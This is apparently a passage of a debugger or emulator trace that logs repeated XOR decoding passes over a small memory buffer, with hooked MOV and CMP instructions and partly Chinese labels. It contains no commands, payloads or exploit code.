[XOR @0x1000668] MEM[0x2003f2a] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f2a ← 0x30
[XOR @0x1000668] MEM[0x2003f2b] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f2b ← 0x01
[XOR @0x1000668] MEM[0x2003f2c] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f2c ← 0x01
[XOR @0x1000668] MEM[0x2003f2d] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f2d ← 0x31
[XOR @0x1000668] MEM[0x2003f2e] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f2e ← 0x00
[XOR @0x1000668] MEM[0x2003f2f] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f2f ← 0x31
[XOR @0x1000668] MEM[0x2003f30] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f30 ← 0x32
[XOR @0x1000668] MEM[0x2003f31] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f31 ← 0x03
[XOR @0x1000668] MEM[0x2003f32] 0x33 ^ AL(0x01) → 0x32
寫入後 MEM = 0x33
[WRITE] @0x2003f32 ← 0x32
[XOR @0x1000668] MEM[0x2003f33] 0x31 ^ AL(0x03) → 0x32
寫入後 MEM = 0x31
[WRITE] @0x2003f33 ← 0x32
[XOR @0x1000668] MEM[0x2003f34] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f34 ← 0x02
[XOR @0x1000668] MEM[0x2003f35] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f35 ← 0x03
[XOR @0x1000668] MEM[0x2003f36] 0x33 ^ AL(0x33) → 0x00
寫入後 MEM = 0x33
[WRITE] @0x2003f36 ← 0x00
[XOR @0x1000668] MEM[0x2003f37] 0x32 ^ AL(0x33) → 0x01
寫入後 MEM = 0x32
[WRITE] @0x2003f37 ← 0x01
[XOR @0x1000668] MEM[0x2003f38] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f38 ← 0x33
[XOR @0x1000668] MEM[0x2003f39] 0x01 ^ AL(0x02) → 0x03
寫入後 MEM = 0x01
[WRITE] @0x2003f39 ← 0x03
[XOR @0x1000668] MEM[0x2003f3a] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f3a ← 0x32
[XOR @0x1000668] MEM[0x2003f3b] 0x03 ^ AL(0x30) → 0x33
寫入後 MEM = 0x03
[WRITE] @0x2003f3b ← 0x33
[XOR @0x1000668] MEM[0x2003f3c] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f3c ← 0x30
[XOR @0x1000668] MEM[0x2003f3d] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f3d ← 0x30
[STATE] ESI ← 0x2D
[HOOK MOV] @0x01001487: mov esi, 0x18
[XOR @0x100149b] MEM[0x2003f20] 0x01 ^ AL(0x33) → 0x32
寫入後 MEM = 0x01
[WRITE] @0x2003f20 ← 0x32
[HOOK CMP] @0x010014a1: cmp esi, 0x31
[XOR @0x100149b] MEM[0x2003f21] 0x03 ^ AL(0x03) → 0x00
寫入後 MEM = 0x03
[WRITE] @0x2003f21 ← 0x00
[XOR @0x100149b] MEM[0x2003f22] 0x00 ^ AL(0x32) → 0x32
寫入後 MEM = 0x00
[WRITE] @0x2003f22 ← 0x32
[XOR @0x100149b] MEM[0x2003f23] 0x30 ^ AL(0x33) → 0x03
寫入後 MEM = 0x30
[WRITE] @0x2003f23 ← 0x03
[XOR @0x100149b] MEM[0x2003f24] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f24 ← 0x03
[XOR @0x100149b] MEM[0x2003f25] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f25 ← 0x03
[XOR @0x100149b] MEM[0x2003f26] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f26 ← 0x02
[XOR @0x100149b] MEM[0x2003f27] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f27 ← 0x03
[XOR @0x100149b] MEM[0x2003f28] 0x30 ^ AL(0x32) → 0x02
寫入後 MEM = 0x30
[WRITE] @0x2003f28 ← 0x02
[XOR @0x100149b] MEM[0x2003f29] 0x30 ^ AL(0x32) → 0x02
寫入後 MEM = 0x30
[WRITE] @0x2003f29 ← 0x02
[XOR @0x100149b] MEM[0x2003f2a] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f2a ← 0x33
[XOR @0x100149b] MEM[0x2003f2b] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f2b ← 0x02
[XOR @0x100149b] MEM[0x2003f2c] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f2c ← 0x00
[XOR @0x100149b] MEM[0x2003f2d] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f2d ← 0x01
[XOR @0x100149b] MEM[0x2003f2e] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f2e ← 0x30
[XOR @0x100149b] MEM[0x2003f2f] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f2f ← 0x01
[XOR @0x100149b] MEM[0x2003f30] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f30 ← 0x02
[XOR @0x100149b] MEM[0x2003f31] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f31 ← 0x03
[XOR @0x100149b] MEM[0x2003f32] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f32 ← 0x32
[XOR @0x100149b] MEM[0x2003f33] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f33 ← 0x32
[XOR @0x100149b] MEM[0x2003f34] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f34 ← 0x02
[XOR @0x100149b] MEM[0x2003f35] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f35 ← 0x03
[XOR @0x100149b] MEM[0x2003f36] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f36 ← 0x00
[XOR @0x100149b] MEM[0x2003f37] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f37 ← 0x33
[XOR @0x100149b] MEM[0x2003f38] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f38 ← 0x33
[STATE] ESI ← 0x36
[HOOK MOV] @0x010004a6: mov esi, 0x1f
[HOOK MOV] @0x010004ab: mov esi, 0xae4c415d
[WRITE] @0x2003f20 ← 0x33
[HOOK CMP] @0x010004d4: cmp esi, 0x3f
[WRITE] @0x2003f21 ← 0x32
[WRITE] @0x2003f22 ← 0x00
[WRITE] @0x2003f23 ← 0x00
[WRITE] @0x2003f24 ← 0x00
[WRITE] @0x2003f25 ← 0x02
[WRITE] @0x2003f26 ← 0x32
[WRITE] @0x2003f27 ← 0x33
[WRITE] @0x2003f28 ← 0x32
[WRITE] @0x2003f29 ← 0x32
[WRITE] @0x2003f2a ← 0x33
[WRITE] @0x2003f2b ← 0x02
[WRITE] @0x2003f2c ← 0x00
[WRITE] @0x2003f2d ← 0x01
[WRITE] @0x2003f2e ← 0x30
[WRITE] @0x2003f2f ← 0x01
[WRITE] @0x2003f30 ← 0x31
[WRITE] @0x2003f31 ← 0x31
[WRITE] @0x2003f32 ← 0x32
[WRITE] @0x2003f33 ← 0x32
[WRITE] @0x2003f34 ← 0x02
[WRITE] @0x2003f35 ← 0x01
[WRITE] @0x2003f36 ← 0x32
[WRITE] @0x2003f37 ← 0x00
[WRITE] @0x2003f38 ← 0x01
[WRITE] @0x2003f39 ← 0x31
[WRITE] @0x2003f3a ← 0x01
[WRITE] @0x2003f3b ← 0x31
[WRITE] @0x2003f3c ← 0x30
[WRITE] @0x2003f3d ← 0x31
[WRITE] @0x2003f3e ← 0x00
[WRITE] @0x2003f3f ← 0x00
[STATE] ESI ← 0x12
[HOOK MOV] @0x01001286: mov esi, 0x15
[XOR @0x100129a] MEM[0x2003f20] 0x33 ^ AL(0x01) → 0x32
寫入後 MEM = 0x33
[WRITE] @0x2003f20 ← 0x32
[HOOK CMP] @0x010012a0: cmp esi, 0x2b
[XOR @0x100129a] MEM[0x2003f21] 0x32 ^ AL(0x32) → 0x00
寫入後 MEM = 0x32
[WRITE] @0x2003f21 ← 0x00
[XOR @0x100129a] MEM[0x2003f22] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f22 ← 0x00
[XOR @0x100129a] MEM[0x2003f23] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f23 ← 0x01
[XOR @0x100129a] MEM[0x2003f24] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f24 ← 0x31
[XOR @0x100129a] MEM[0x2003f25] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f25 ← 0x03
[XOR @0x100129a] MEM[0x2003f26] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f26 ← 0x03
[XOR @0x100129a] MEM[0x2003f27] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f27 ← 0x03
[XOR @0x100129a] MEM[0x2003f28] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f28 ← 0x03
[XOR @0x100129a] MEM[0x2003f29] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f29 ← 0x32
[XOR @0x100129a] MEM[0x2003f2a] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f2a ← 0x33
[XOR @0x100129a] MEM[0x2003f2b] 0x02 ^ AL(0x32) → 0x30
寫入後 MEM = 0x02
[WRITE] @0x2003f2b ← 0x30
[XOR @0x100129a] MEM[0x2003f2c] 0x00 ^ AL(0x32) → 0x32
寫入後 MEM = 0x00
[WRITE] @0x2003f2c ← 0x32
[XOR @0x100129a] MEM[0x2003f2d] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f2d ← 0x02
[XOR @0x100129a] MEM[0x2003f2e] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f2e ← 0x33
[XOR @0x100129a] MEM[0x2003f2f] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f2f ← 0x00
[XOR @0x100129a] MEM[0x2003f30] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f30 ← 0x01
[XOR @0x100129a] MEM[0x2003f31] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f31 ← 0x01
[XOR @0x100129a] MEM[0x2003f32] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f32 ← 0x02
[XOR @0x100129a] MEM[0x2003f33] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f33 ← 0x02
[XOR @0x100129a] MEM[0x2003f34] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f34 ← 0x02
[XOR @0x100129a] MEM[0x2003f35] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f35 ← 0x01
[STATE] ESI ← 0x40
[HOOK MOV] @0x01001052: mov esi, 0xe
[XOR @0x1001066] MEM[0x2003f20] 0x32 ^ AL(0x33) → 0x01
寫入後 MEM = 0x32
[WRITE] @0x2003f20 ← 0x01
[HOOK CMP] @0x0100106c: cmp esi, 0x1d
[XOR @0x1001066] MEM[0x2003f21] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f21 ← 0x00
[XOR @0x1001066] MEM[0x2003f22] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f22 ← 0x01
[XOR @0x1001066] MEM[0x2003f23] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f23 ← 0x00
[XOR @0x1001066] MEM[0x2003f24] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f24 ← 0x33
[XOR @0x1001066] MEM[0x2003f25] 0x03 ^ AL(0x02) → 0x01
寫入後 MEM = 0x03
[WRITE] @0x2003f25 ← 0x01
[XOR @0x1001066] MEM[0x2003f26] 0x03 ^ AL(0x02) → 0x01
寫入後 MEM = 0x03
[WRITE] @0x2003f26 ← 0x01
[XOR @0x1001066] MEM[0x2003f27] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f27 ← 0x02
[XOR @0x1001066] MEM[0x2003f28] 0x03 ^ AL(0x32) → 0x31
寫入後 MEM = 0x03
[WRITE] @0x2003f28 ← 0x31
[XOR @0x1001066] MEM[0x2003f29] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f29 ← 0x32
[XOR @0x1001066] MEM[0x2003f2a] 0x33 ^ AL(0x01) → 0x32
寫入後 MEM = 0x33
[WRITE] @0x2003f2a ← 0x32
[XOR @0x1001066] MEM[0x2003f2b] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f2b ← 0x01
[XOR @0x1001066] MEM[0x2003f2c] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f2c ← 0x33
[XOR @0x1001066] MEM[0x2003f2d] 0x02 ^ AL(0x31) → 0x33
寫入後 MEM = 0x02
[WRITE] @0x2003f2d ← 0x33
[XOR @0x1001066] MEM[0x2003f2e] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f2e ← 0x03
[STATE] ESI ← 0x0E
[HOOK MOV] @0x01000d5b: mov esi, 0x2a
[XOR @0x1000d6f] MEM[0x2003f20] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f20 ← 0x01
[HOOK CMP] @0x01000d75: cmp esi, 0x55
[XOR @0x1000d6f] MEM[0x2003f21] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f21 ← 0x00
[XOR @0x1000d6f] MEM[0x2003f22] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f22 ← 0x01
[XOR @0x1000d6f] MEM[0x2003f23] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f23 ← 0x00
[XOR @0x1000d6f] MEM[0x2003f24] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f24 ← 0x33
[XOR @0x1000d6f] MEM[0x2003f25] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f25 ← 0x00
[XOR @0x1000d6f] MEM[0x2003f26] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f26 ← 0x01
[XOR @0x1000d6f] MEM[0x2003f27] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f27 ← 0x03
[XOR @0x1000d6f] MEM[0x2003f28] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f28 ← 0x31
[XOR @0x1000d6f] MEM[0x2003f29] 0x32 ^ AL(0x33) → 0x01
寫入後 MEM = 0x32
[WRITE] @0x2003f29 ← 0x01
[XOR @0x1000d6f] MEM[0x2003f2a] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f2a ← 0x32
[XOR @0x1000d6f] MEM[0x2003f2b] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f2b ← 0x00
[XOR @0x1000d6f] MEM[0x2003f2c] 0x33 ^ AL(0x03) → 0x30
寫入後 MEM = 0x33
[WRITE] @0x2003f2c ← 0x30
[XOR @0x1000d6f] MEM[0x2003f2d] 0x33 ^ AL(0x31) → 0x02
寫入後 MEM = 0x33
[WRITE] @0x2003f2d ← 0x02
[XOR @0x1000d6f] MEM[0x2003f2e] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f2e ← 0x02
[XOR @0x1000d6f] MEM[0x2003f2f] 0x00 ^ AL(0x32) → 0x32
寫入後 MEM = 0x00
[WRITE] @0x2003f2f ← 0x32
[XOR @0x1000d6f] MEM[0x2003f30] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f30 ← 0x01
[XOR @0x1000d6f] MEM[0x2003f31] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f31 ← 0x31
[XOR @0x1000d6f] MEM[0x2003f32] 0x02 ^ AL(0x02) → 0x00
寫入後 MEM = 0x02
[WRITE] @0x2003f32 ← 0x00
[XOR @0x1000d6f] MEM[0x2003f33] 0x02 ^ AL(0x02) → 0x00
寫入後 MEM = 0x02
[WRITE] @0x2003f33 ← 0x00
[XOR @0x1000d6f] MEM[0x2003f34] 0x02 ^ AL(0x32) → 0x30
寫入後 MEM = 0x02
[WRITE] @0x2003f34 ← 0x30
[XOR @0x1000d6f] MEM[0x2003f35] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f35 ← 0x00
[XOR @0x1000d6f] MEM[0x2003f36] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f36 ← 0x03
[XOR @0x1000d6f] MEM[0x2003f37] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f37 ← 0x00
[XOR @0x1000d6f] MEM[0x2003f38] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f38 ← 0x01
[XOR @0x1000d6f] MEM[0x2003f39] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f39 ← 0x01
[XOR @0x1000d6f] MEM[0x2003f3a] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f3a ← 0x01
[XOR @0x1000d6f] MEM[0x2003f3b] 0x31 ^ AL(0x03) → 0x32
寫入後 MEM = 0x31
[WRITE] @0x2003f3b ← 0x32
[XOR @0x1000d6f] MEM[0x2003f3c] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f3c ← 0x30
[XOR @0x1000d6f] MEM[0x2003f3d] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f3d ← 0x30
[XOR @0x1000d6f] MEM[0x2003f3e] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f3e ← 0x01
[XOR @0x1000d6f] MEM[0x2003f3f] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f3f ← 0x01
[XOR @0x1000d6f] MEM[0x2003f40] 0x32 ^ AL(0x32) → 0x00
寫入後 MEM = 0x32
[WRITE] @0x2003f40 ← 0x00
[XOR @0x1000d6f] MEM[0x2003f41] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f41 ← 0x02
[XOR @0x1000d6f] MEM[0x2003f42] 0x03 ^ AL(0x30) → 0x33
寫入後 MEM = 0x03
[WRITE] @0x2003f42 ← 0x33
[XOR @0x1000d6f] MEM[0x2003f43] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f43 ← 0x02
[XOR @0x1000d6f] MEM[0x2003f44] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f44 ← 0x00
[XOR @0x1000d6f] MEM[0x2003f45] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f45 ← 0x30
[XOR @0x1000d6f] MEM[0x2003f46] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f46 ← 0x32
[XOR @0x1000d6f] MEM[0x2003f47] 0x30 ^ AL(0x33) → 0x03
寫入後 MEM = 0x30
[WRITE] @0x2003f47 ← 0x03
[XOR @0x1000d6f] MEM[0x2003f48] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f48 ← 0x32
[XOR @0x1000d6f] MEM[0x2003f49] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f49 ← 0x00
[XOR @0x1000d6f] MEM[0x2003f4a] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f4a ← 0x30
[STATE] ESI ← 0x39
[HOOK MOV] @0x01000f3b: mov esi, 0x14
[XOR @0x1000f4f] MEM[0x2003f20] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f20 ← 0x31
[HOOK CMP] @0x01000f55: cmp esi, 0x29
[XOR @0x1000f4f] MEM[0x2003f21] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f21 ← 0x00
[XOR @0x1000f4f] MEM[0x2003f22] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f22 ← 0x02
[XOR @0x1000f4f] MEM[0x2003f23] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f23 ← 0x00
[XOR @0x1000f4f] MEM[0x2003f24] 0x33 ^ AL(0x01) → 0x32
寫入後 MEM = 0x33
[WRITE] @0x2003f24 ← 0x32
[XOR @0x1000f4f] MEM[0x2003f25] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f25 ← 0x01
[XOR @0x1000f4f] MEM[0x2003f26] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f26 ← 0x00
[XOR @0x1000f4f] MEM[0x2003f27] 0x03 ^ AL(0x32) → 0x31
寫入後 MEM = 0x03
[WRITE] @0x2003f27 ← 0x31
[XOR @0x1000f4f] MEM[0x2003f28] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f28 ← 0x01
[XOR @0x1000f4f] MEM[0x2003f29] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f29 ← 0x31
[XOR @0x1000f4f] MEM[0x2003f2a] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f2a ← 0x33
[XOR @0x1000f4f] MEM[0x2003f2b] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f2b ← 0x01
[XOR @0x1000f4f] MEM[0x2003f2c] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f2c ← 0x30
[XOR @0x1000f4f] MEM[0x2003f2d] 0x02 ^ AL(0x02) → 0x00
寫入後 MEM = 0x02
[WRITE] @0x2003f2d ← 0x00
[XOR @0x1000f4f] MEM[0x2003f2e] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f2e ← 0x31
[XOR @0x1000f4f] MEM[0x2003f2f] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f2f ← 0x30
[XOR @0x1000f4f] MEM[0x2003f30] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f30 ← 0x01
[XOR @0x1000f4f] MEM[0x2003f31] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f31 ← 0x01
[XOR @0x1000f4f] MEM[0x2003f32] 0x00 ^ AL(0x32) → 0x32
寫入後 MEM = 0x00
[WRITE] @0x2003f32 ← 0x32
[XOR @0x1000f4f] MEM[0x2003f33] 0x00 ^ AL(0x03) → 0x03
寫入後 MEM = 0x00
[WRITE] @0x2003f33 ← 0x03
[XOR @0x1000f4f] MEM[0x2003f34] 0x30 ^ AL(0x32) → 0x02
寫入後 MEM = 0x30
[WRITE] @0x2003f34 ← 0x02
[STATE] ESI ← 0x0F
[HOOK MOV] @0x010005cb: mov esi, 0xb
[XOR @0x10005df] MEM[0x2003f20] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f20 ← 0x30
[HOOK CMP] @0x010005e5: cmp esi, 0x17
[XOR @0x10005df] MEM[0x2003f21] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f21 ← 0x30
[XOR @0x10005df] MEM[0x2003f22] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f22 ← 0x02
[XOR @0x10005df] MEM[0x2003f23] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f23 ← 0x31
[XOR @0x10005df] MEM[0x2003f24] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f24 ← 0x02
[XOR @0x10005df] MEM[0x2003f25] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f25 ← 0x00
[XOR @0x10005df] MEM[0x2003f26] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f26 ← 0x01
[XOR @0x10005df] MEM[0x2003f27] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f27 ← 0x03
[XOR @0x10005df] MEM[0x2003f28] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f28 ← 0x02
[XOR @0x10005df] MEM[0x2003f29] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f29 ← 0x33
[XOR @0x10005df] MEM[0x2003f2a] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f2a ← 0x33
[XOR @0x10005df] MEM[0x2003f2b] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f2b ← 0x02
[STATE] ESI ← 0x03
[HOOK MOV] @0x010011f9: mov esi, 0x6
[XOR @0x100120d] MEM[0x2003f20] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f20 ← 0x31
[HOOK CMP] @0x01001213: cmp esi, 0xd
[XOR @0x100120d] MEM[0x2003f21] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f21 ← 0x33
[XOR @0x100120d] MEM[0x2003f22] 0x02 ^ AL(0x02) → 0x00
寫入後 MEM = 0x02
[WRITE] @0x2003f22 ← 0x00
[XOR @0x100120d] MEM[0x2003f23] 0x31 ^ AL(0x33) → 0x02
寫入後 MEM = 0x31
[WRITE] @0x2003f23 ← 0x02
[XOR @0x100120d] MEM[0x2003f24] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f24 ← 0x31
[XOR @0x100120d] MEM[0x2003f25] 0x00 ^ AL(0x02) → 0x02
寫入後 MEM = 0x00
[WRITE] @0x2003f25 ← 0x02
[XOR @0x100120d] MEM[0x2003f26] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f26 ← 0x31
[STATE] ESI ← 0x27
[HOOK MOV] @0x01000db9: mov esi, 0x1a
[XOR @0x1000dcd] MEM[0x2003f20] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f20 ← 0x30
[HOOK CMP] @0x01000dd3: cmp esi, 0x35
[XOR @0x1000dcd] MEM[0x2003f21] 0x33 ^ AL(0x32) → 0x01
寫入後 MEM = 0x33
[WRITE] @0x2003f21 ← 0x01
[XOR @0x1000dcd] MEM[0x2003f22] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f22 ← 0x30
[XOR @0x1000dcd] MEM[0x2003f23] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f23 ← 0x32
[XOR @0x1000dcd] MEM[0x2003f24] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f24 ← 0x30
[XOR @0x1000dcd] MEM[0x2003f25] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f25 ← 0x03
[XOR @0x1000dcd] MEM[0x2003f26] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f26 ← 0x31
[XOR @0x1000dcd] MEM[0x2003f27] 0x03 ^ AL(0x02) → 0x01
